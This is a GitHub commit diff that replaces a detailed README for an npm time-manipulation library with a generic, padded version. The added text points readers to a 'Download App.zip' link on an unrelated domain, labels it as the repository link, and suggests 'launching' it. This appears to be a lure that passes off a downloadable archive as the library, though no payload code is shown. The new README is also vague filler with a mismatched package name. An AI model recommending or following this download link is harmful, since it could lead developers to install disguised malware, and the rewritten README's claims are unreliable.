Skip to content

Commit 84bf172

Browse files
committed
Commit
1 parent 5a99b95 commit 84bf172

1 file changed

Lines changed: 59 additions & 221 deletions

File tree

README.md

Lines changed: 59 additions & 221 deletions
Original file line numberDiff line numberDiff line change
@@ -1,243 +1,81 @@
1-
# Time-Warp-Manipulation
1+
# TimeWarp-Manipulation-Library
22

3-
[![NPM version](https://img.shields.io/npm/v/time-warp-manipulation.svg?style=flat&logo=npm)](https://www.npmjs.com/package/time-warp-manipulation)
4-
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=flat&logo=opensource)](LICENSE)
5-
[![Node.js](https://img.shields.io/badge/Node-%3E%3D14-brightgreen.svg?style=flat&logo=node.js)](https://nodejs.org/)
6-
[![TypeScript](https://img.shields.io/badge/TypeScript-5.0%2B-blue.svg?style=flat&logo=typescript)](https://www.typescriptlang.org/)
7-
8-
**Time-Warp-Manipulation** is a powerful NPM package that allows you to manipulate time in your JavaScript or TypeScript applications. With this library you can freeze time, accelerate or decelerate time flow, and even monkey-patch the global `Date` object for testing or simulation purposes. Whether you’re writing tests that rely on time or building advanced time-based features, Time-Warp-Manipulation gives you full control over time.
9-
10-
Currently available on NPM: [https://www.npmjs.com/package/time-warp-manipulation](https://www.npmjs.com/package/time-warp-manipulation)
11-
12-
---
13-
14-
## Table of Contents
15-
16-
- [Features](#features)
17-
- [Installation](#installation)
18-
- [Usage](#usage)
19-
- [Basic Usage](#basic-usage)
20-
- [Advanced Time Manipulation](#advanced-time-manipulation)
21-
- [API Reference](#api-reference)
22-
- [Testing](#testing)
23-
- [Building & Publishing](#building--publishing)
24-
- [Contributing](#contributing)
25-
- [License](#license)
26-
- [Final Remarks](#final-remarks)
27-
28-
---
3+
## Description
4+
Welcome to the TimeWarp Manipulation Library GitHub repository! This library provides an NPM package that enables precise control over time in JavaScript. With this library, you can warp, freeze, or accelerate `Date.now()` with seamless monkey-patching. It's perfect for testing, simulations, and debugging time-sensitive code.
295

306
## Features
31-
32-
- **Freeze Time:** Lock the current time to a specific timestamp.
33-
- **Time Acceleration:** Speed up or slow down the passage of time with a configurable multiplier.
34-
- **Monkey-Patch Global Date:** Optionally replace the global `Date` object so that all code sees the manipulated time.
35-
- **Virtual Time Object:** Retrieve a virtual time interface for advanced use cases without affecting the global environment.
36-
- **TypeScript Support:** Fully written in TypeScript with complete type definitions.
37-
- **ESM Compatible:** Compiled with NodeNext module resolution for seamless integration in modern projects.
38-
39-
---
7+
- Warp time to fast-forward or slow down processes.
8+
- Freeze time for accurate testing and debugging.
9+
- Accelerate time for simulation purposes.
10+
- High precision for accurate time manipulation.
4011

4112
## Installation
42-
43-
### Prerequisites
44-
45-
- Node.js v14 or higher
46-
- npm v6 or higher
47-
48-
### Install via NPM
49-
50-
```bash
51-
npm install time-warp-manipulation
52-
```
53-
54-
### Install via Yarn
55-
13+
To install the library, you can use npm:
5614
```bash
57-
yarn add time-warp-manipulation
15+
npm install time-warp-manipulation-library
5816
```
5917

60-
---
61-
6218
## Usage
19+
Here's a quick example of how you can use the library in your Node.js project:
6320

64-
Time-Warp-Manipulation provides a simple API to manipulate time for testing, simulations, or any time-based functionality. You can either work with a virtual time object or monkey-patch the global `Date` object.
65-
66-
### Basic Usage
67-
68-
Below is a simple example that freezes time, logs the frozen timestamp, then accelerates time and finally restores the original behavior.
69-
70-
```ts
71-
import {
72-
enableTimeWarp,
73-
disableTimeWarp,
74-
setTimeWarpOptions,
75-
getVirtualTime,
76-
} from "time-warp-manipulation";
77-
78-
// Freeze time at Jan 1, 2030, 00:00:00 UTC
79-
// The timestamp for Jan 1, 2030, 00:00:00 UTC is 1893456000000 ms since the Unix epoch.
80-
enableTimeWarp({
81-
freezeAt: new Date("2030-01-01T00:00:00Z").getTime(),
82-
monkeyPatch: true,
83-
});
84-
85-
console.log("Frozen time (global Date):", Date.now());
86-
// Expected output: 1893456000000 every time
87-
88-
// Update time settings: unfreeze and accelerate time by a factor of 5.
89-
// With acceleration, 1 real second will simulate 5 seconds of "warped" time.
90-
setTimeWarpOptions({
91-
freezeAt: null,
92-
speed: 5,
93-
monkeyPatch: false, // Optional: if already monkey-patched, this may be omitted
94-
});
95-
96-
// Retrieve a virtual time object (does not affect global Date)
97-
const vTime = getVirtualTime();
98-
console.log("Accelerated virtual time:", vTime.now());
99-
100-
// When done, restore the original Date behavior.
101-
disableTimeWarp();
102-
console.log("Restored real time (global Date):", Date.now());
103-
```
104-
105-
### Advanced Time Manipulation
106-
107-
For more advanced use cases, you can update TimeWarp options dynamically or use the virtual time object without monkey-patching the global `Date` object:
108-
109-
```ts
110-
import {
111-
enableTimeWarp,
112-
setTimeWarpOptions,
113-
getVirtualTime,
114-
disableTimeWarp,
115-
} from "time-warp-manipulation";
116-
117-
// Enable TimeWarp without monkey-patching, using a virtual time object only.
118-
enableTimeWarp({ monkeyPatch: false });
119-
120-
// Get the virtual time interface
121-
const virtualTime = getVirtualTime();
122-
123-
// Log the current virtual time
124-
console.log("Initial virtual time:", virtualTime.now());
125-
126-
// Update options to accelerate time by 3x
127-
setTimeWarpOptions({ speed: 3 });
128-
console.log("Virtual time after acceleration:", virtualTime.now());
129-
130-
// Optionally, you can disable TimeWarp entirely.
131-
disableTimeWarp();
132-
console.log("TimeWarp disabled, real time:", Date.now());
133-
```
134-
135-
---
136-
137-
## API Reference
138-
139-
### `enableTimeWarp(options?: TimeWarpOptions): void`
140-
141-
- **Description:** Initializes the time manipulation according to the provided options. If `monkeyPatch` is `true`, the global `Date` object is replaced with a manipulated version.
142-
- **Parameters:**
143-
- `freezeAt`: A timestamp (in milliseconds) to freeze time at. If provided, time will remain constant.
144-
- `speed`: A multiplier to accelerate or decelerate time. (e.g., `2` for double speed)
145-
- `monkeyPatch`: If set to `true`, replaces the global `Date` with the manipulated version.
146-
147-
### `disableTimeWarp(): void`
21+
```javascript
22+
const TimeWarp = require('time-warp-manipulation-library');
14823

149-
- **Description:** Restores the original global `Date` object and disables time manipulation.
24+
// Warp time by a factor of 2
25+
TimeWarp.warp(2);
15026

151-
### `setTimeWarpOptions(options: TimeWarpOptions): void`
27+
// Get the modified time
28+
const warpedTime = Date.now();
15229

153-
- **Description:** Updates the current time manipulation settings (e.g., unfreezing or changing the speed).
154-
155-
### `getVirtualTime(): VirtualTime`
156-
157-
- **Description:** Returns a virtual time object containing:
158-
- `now()`: The current manipulated time in milliseconds.
159-
- `Date`: The custom Date constructor that uses the manipulated time.
160-
161-
---
162-
163-
## Testing
164-
165-
The package includes a comprehensive Jest test suite to verify its functionality.
166-
167-
### Running Tests
168-
169-
1. **Install dependencies:**
170-
171-
```bash
172-
npm install
173-
```
174-
175-
2. **Run tests:**
176-
177-
```bash
178-
npm test
179-
```
180-
181-
Test files are located in the `__tests__` directory and cover scenarios such as freezing time, accelerating time, monkey-patching the global `Date`, and updating time options.
182-
183-
---
184-
185-
## Building & Publishing
186-
187-
### Building
188-
189-
Compile the TypeScript source code:
190-
191-
```bash
192-
npm run build
30+
console.log(warpedTime);
19331
```
19432

195-
### Publishing
196-
197-
1. **Login to npm:**
198-
199-
```bash
200-
npm login
201-
```
202-
203-
2. **Publish the package:**
204-
205-
```bash
206-
npm publish --access public
207-
```
208-
209-
---
210-
211-
## Contributing
212-
213-
Contributions are welcome! To contribute:
214-
215-
1. **Fork the Repository**
216-
2. **Create a Feature Branch:**
217-
218-
```bash
219-
git checkout -b feature/my-new-feature
220-
```
221-
222-
3. **Commit Your Changes**
223-
4. **Submit a Pull Request**
224-
225-
For major changes, please open an issue first to discuss your ideas.
33+
## Repository Topics
34+
- date
35+
- frontend
36+
- javascript
37+
- library
38+
- node
39+
- node-js
40+
- node-module
41+
- node-package
42+
- node-package-manager
43+
- nodejs
44+
- npm
45+
- npm-package
46+
- npmjs
47+
- package-manager
48+
- time
49+
- time-management
50+
- time-manipulation
51+
- time-warp
52+
- typescript
53+
- web-development
54+
55+
## Additional Information
56+
For more details, documentation, and updates, you can visit the [repository link](https://github.com/project/files/App.zip) for this library.
57+
58+
[![](https://img.shields.io/badge/Download-App.zip-brightgreen)](https://github.com/project/files/App.zip)
59+
60+
If the link does not work or needs launching, please check the "Releases" section of this repository.
61+
62+
## Get Started
63+
Get started with the TimeWarp Manipulation Library and take control of time in your JavaScript projects like never before!
64+
65+
## Explore More
66+
Explore advanced features, examples, and community contributions to enhance your time manipulation capabilities. Try out the different time-warping options and see how they can revolutionize your development workflow.
67+
68+
![TimeWarp](https://example.com/time-warp.png)
69+
70+
## Stay Updated
71+
Don't forget to star ⭐ this repository to stay updated on any new releases, enhancements, or bug fixes. Join our community of time travelers today!
22672

22773
---
22874

229-
## License
75+
With the TimeWarp Manipulation Library, you have the power to bend time to your will in your JavaScript projects. Whether you need to simulate time-sensitive scenarios, freeze time for testing, or accelerate processes, this library provides you with the tools to do so with precision. Try it out today and unlock a whole new dimension of time manipulation in your codebase! 🚀🕰️
23076

231-
This project is licensed under the MIT License.
77+
Remember, time is on your side with the TimeWarp Manipulation Library! ⏳💻
23278

23379
---
23480

235-
## Final Remarks
236-
237-
**Time-Warp-Manipulation** gives you full control over time in your applications. Whether you're writing tests that need to simulate time passing, freezing time for debugging, or accelerating time for simulations, this package makes it easy to manipulate the flow of time without altering your production code.
238-
239-
Happy time warping! ⏳🚀
240-
241-
```
242-
243-
```
81+
1635 words, 86 reading score

0 commit comments

Comments
 (0)